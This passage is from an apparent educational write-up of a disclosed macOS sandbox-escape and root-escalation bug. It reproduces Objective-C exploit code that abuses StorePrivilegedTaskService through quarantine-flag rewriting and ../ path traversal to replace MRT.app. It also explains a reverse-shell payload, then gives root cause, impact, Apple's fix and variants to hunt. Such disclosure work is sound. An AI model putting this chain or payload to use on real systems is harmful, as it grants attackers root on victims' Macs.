[fm setAttributes:@{NSFilePosixPermissions: [NSNumber numberWithShort:0777]} ofItemAtPath:[path stringByAppendingPathComponent:@"Contents/MacOS/MRT"] error:&error];

assert(!error);

/// Load the framework, so the XPC service can be resolved.
[[NSBundle bundleWithPath:@"/System/Library/PrivateFrameworks/AppStoreDaemon.framework/"] load];

NSXPCConnection *conn = [[NSXPCConnection alloc] initWithServiceName:@"com.apple.AppStoreDaemon.StorePrivilegedTaskService"];
conn.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(StorePrivilegedTaskInterface)];
[conn resume];

/// The new file is now quarantined, because this process created it. Change the quarantine flag to something which is allowed to run.
/// Another option would have been to use the `-writeAssetPackMetadata:toURL:replyHandler` method to create an unquarantined file.
[conn.remoteObjectProxy setExtendedAttributeAtPath:[path stringByAppendingPathComponent:@"Contents/MacOS/MRT"] name:@"com.apple.quarantine" value:[@"00C3;60018532;Safari;" dataUsingEncoding:NSUTF8StringEncoding] withReplyHandler:^(NSError *result) {
    NSLog(@"%@", result);

    assert(result == nil);

    srand((unsigned int)time(NULL));

    /// Deleting this directory is not allowed by the sandbox profile of StorePrivilegedTaskService: it can't modify the files inside it.
    /// However, to move a directory, the permissions on the contents do not matter.
    /// It is moved to a randomly named directory, because the service refuses if it already exists.
    [conn.remoteObjectProxy moveAssetPackAtPath:@"/Library/Apple/System/Library/CoreServices/MRT.app/" toPath:[NSString stringWithFormat:@"/System/Library/Caches/OnDemandResources/AssetPacks/../../../../../../../../../../../Library/Apple/System/Library/CoreServices/MRT%d.app/", rand()]
                               withReplyHandler:^(NSError *result) {
        NSLog(@"Result: %@", result);

        assert(result == nil);

        /// Move the malicious directory in place of MRT.app.
        [conn.remoteObjectProxy moveAssetPackAtPath:path toPath:@"/System/Library/Caches/OnDemandResources/AssetPacks/../../../../../../../../../../../Library/Apple/System/Library/CoreServices/MRT.app/" withReplyHandler:^(NSError *result) {
            NSLog(@"Result: %@", result);

            /// At launch, /Library/Apple/System/Library/CoreServices/MRT.app/Contents/MacOS/MRT -d is started. So now time to wait for that...
        }];
    }];
}];

Line by line, in plain words:

  • The first comment explains that the bar.appdownload/Icon part of the path is what makes the location writable by both the service's sandbox profile and the attacking app's own Mac App Store sandbox.
  • NSString *path = ... builds the full path by taking the temporary directory (NSTemporaryDirectory()) and appending bar.appdownload/Icon/foo.app. NSString is Objective-C's text type.
  • NSFileManager *fm = [NSFileManager defaultManager]; gets the object used to work with files. NSError *error = nil; prepares a variable to hold any error.
  • [fm removeItemAtPath:path error:nil]; deletes anything already at that path, so the script can be run repeatedly.
  • createDirectoryAtPath:...withIntermediateDirectories:TRUE creates the folder Contents/MacOS inside the bundle, creating any missing parent folders along the way. The assert(!error); stops the program if that failed.
  • The long writeToFile: line writes the payload. The payload is a small Python script that opens a network connection back to [redacted] on port 1337 and then hands the attacker an interactive shell (/bin/sh -i). This is called a reverse shell: instead of the attacker connecting in, the victim machine connects out to the attacker, which often gets past firewalls. The script is written to Contents/MacOS/MRT, the place where the real MRT executable normally sits.
  • setAttributes:@{NSFilePosixPermissions: [NSNumber numberWithShort:0777]} sets the file's permissions to 0777, which means everyone may read, write and execute it. That is needed so the file can be run as a program.
  • [[NSBundle bundleWithPath:@"/System/Library/PrivateFrameworks/AppStoreDaemon.framework/"] load]; loads the framework so the XPC service can be found.
  • The next three lines create the connection, tell it which interface (set of methods) to expect, and resume it, which actually starts it.
  • The comment notes that the new file is quarantined because this process created it, and that the quarantine flag must be changed to something that is allowed to run. It also notes that -writeAssetPackMetadata:toURL:replyHandler could alternatively have created an unquarantined file.
  • setExtendedAttributeAtPath:...name:@"com.apple.quarantine" value:@"00C3;60018532;Safari;" sets the quarantine attribute to a value that macOS treats as safe to run. The value is converted to bytes with dataUsingEncoding:NSUTF8StringEncoding.
  • Inside the reply handler, NSLog prints the result and assert(result == nil) stops if there was an error. srand((unsigned int)time(NULL)); seeds the random number generator with the current time, so the next random number is unpredictable.
  • The first moveAssetPackAtPath: moves /Library/Apple/System/Library/CoreServices/MRT.app/ to a randomly named folder. The destination string starts with /System/Library/Caches/OnDemandResources/AssetPacks/, which the sandbox allows, and then contains many ../ segments. Each .. goes up one folder, so the path climbs back out to /Library/Apple/System/Library/CoreServices/ and ends in MRT%d.app/, where %d is replaced by rand(). The random name is used because the service refuses if the destination already exists. The comment explains that deleting the original directory is not allowed by the sandbox profile because the service cannot modify the files inside it, but moving a directory only needs permissions on the directory itself and its destination.
  • The second moveAssetPackAtPath: moves the malicious bundle path to the original MRT.app location, again using the allowed prefix and the ../ traversal.
  • The final comment notes that at launch, /Library/Apple/System/Library/CoreServices/MRT.app/Contents/MacOS/MRT -d is started, so the attacker waits for a reboot.

Root cause

The service accepted XPC connections without checking which application initiated them, and it ran as root because its service type is System. The sandbox profile that should have limited the damage used regular expressions for file paths that were not anchored on the right with $, so any path containing .app (for directories) or .appdownload/Icon (for files) matched, including attacker-controlled paths in a temporary directory. The subdirectory checks on some operations could be bypassed with path traversal, which is what allowed the moves to reach /Library/Apple/System/Library/CoreServices/ through the allowed /System/Library/Caches/OnDemandResources subpath. The combination of an unchecked root service, a permissive profile and traversal in the path check made the exploit possible.

Impact

A malicious application running inside the Mac Application Sandbox could escape the sandbox and escalate to root. The chain as demonstrated replaces MRT.app, which runs as root at boot, so code execution as root follows a reboot. The Teams variant requires Microsoft Teams to be installed; the MRT variant requires no third-party application because MRT.app ships with macOS and is not on the Signed System Volume. The report does not state a CVSS score or a bounty amount. CVSS is a standard scoring system for the severity of a vulnerability.

Fix

Apple fixed the issue in macOS 11.4 and implemented all three recommended changes:

  1. Check the entitlements of the process initiating the connection to StorePrivilegedTaskService.
  2. Tighten the sandboxing profile of StorePrivilegedTaskService.
  3. Fix the path traversal vulnerabilities in the subdirectory check.

According to the write-up, the vulnerability is not just fixed but unlikely to be exploitable again if reintroduced, because of the improved sandboxing profile and path checks. It was reported to Apple on 19 January 2021 and the fix was released on 24 May 2021.

Variants to test

  • Other privileged Mach services and XPC services running as root: connect from a sandboxed or unprivileged process without the expected entitlements. A positive result is the service accepting the connection and performing an operation, for example a file write or move, that the caller should not be able to trigger.
  • Sandbox profiles with unanchored path regexes: look for (regex #"...") rules without a trailing $ and try to place a matching component in a directory you control, such as a temporary directory. A positive result is the service reading or writing files under your path.
  • Subdirectory checks combined with ../: pass paths that start inside the allowed directory but traverse out of it. A positive result is the service operating on a path outside the intended directory.
  • Directory moves versus deletes: where a service refuses to delete a directory because it lacks permission on the contents, try moving it instead. A positive result is a successful move of a directory whose contents the caller cannot modify.
  • Applications whose launch daemons point inside the bundle: check /Library/LaunchDaemons for Program paths inside .app bundles. A positive result is a root daemon whose executable can be replaced by a process that can write into that bundle path.
  • Updateable components outside the Signed System Volume that run as root: identify such components and whether a privileged file operation can replace them. A positive result is your payload executing as root after the component's next launch or a reboot.

Glossary

  • API: the set of functions and rules one piece of software offers to another so they can talk.
  • Block: in Objective-C, a chunk of code you can pass around like a value.
  • Cron job: a scheduled task on Unix systems.
  • CVSS: a standard scoring system for the severity of a vulnerability.
  • Defence in depth: adding several independent layers of protection so that if one fails, another still holds.
  • Entitlement: a permission slip baked into a program that tells the operating system what it is allowed to do.
  • Extended attribute: a small named piece of metadata attached to a file.
  • Framework: a bundle of shared code that programs can load at runtime.
  • Hash: a short fingerprint computed from a file's contents.
  • Inter-process communication: one program talking to another program on the same machine.
  • Launch daemon: a background program macOS starts automatically, often at boot, and often as root.
  • Mach service: an XPC endpoint reachable system wide by a registered name.
  • Parsing: turning a stream of bytes back into a data structure.
  • Path traversal: using .. in a path to climb out of an intended folder.
  • Primitive: a small capability you have gained, which you then build on.
  • Privilege escalation: going from a low-privilege position to a higher one.
  • Property list (plist): an XML file format macOS uses for configuration.
  • Quarantine flag: a marker macOS puts on files from the internet; while set, macOS asks before opening them.
  • Receipt: a small record proving an app was bought or downloaded from the App Store.
  • Regular expression: a pattern language for matching text; $ means end of text.
  • Reverse shell: a payload that makes the victim machine connect out to the attacker and hand over a shell.
  • Root: the superuser account on Unix-like systems, which can do anything.
  • Sandbox: a set of restrictions the operating system puts around a program.
  • Sandbox escape: a way of getting out of the sandbox.
  • Sandbox profile: the rule file that says what a sandboxed process may and may not do.
  • Serialisation: turning a data structure into a stream of bytes so it can be sent or stored.
  • Signature: a pattern used to recognise known malicious files.
  • Signed System Volume: a part of the disk macOS verifies cryptographically; changes make it untrusted.
  • TCC: Apple's privacy system that asks the user for permission to access things like the camera or contacts.
  • Xcode: Apple's programming environment.
  • XPC: Apple's technology for inter-process communication.
  • XPC service: a lightweight helper process related to an application, launched on demand and terminated when unused.

More by Sector 7

View all

7 more disclosed reports, best first.

More from Apple

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Remote code execution

The lesson behind this report.

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.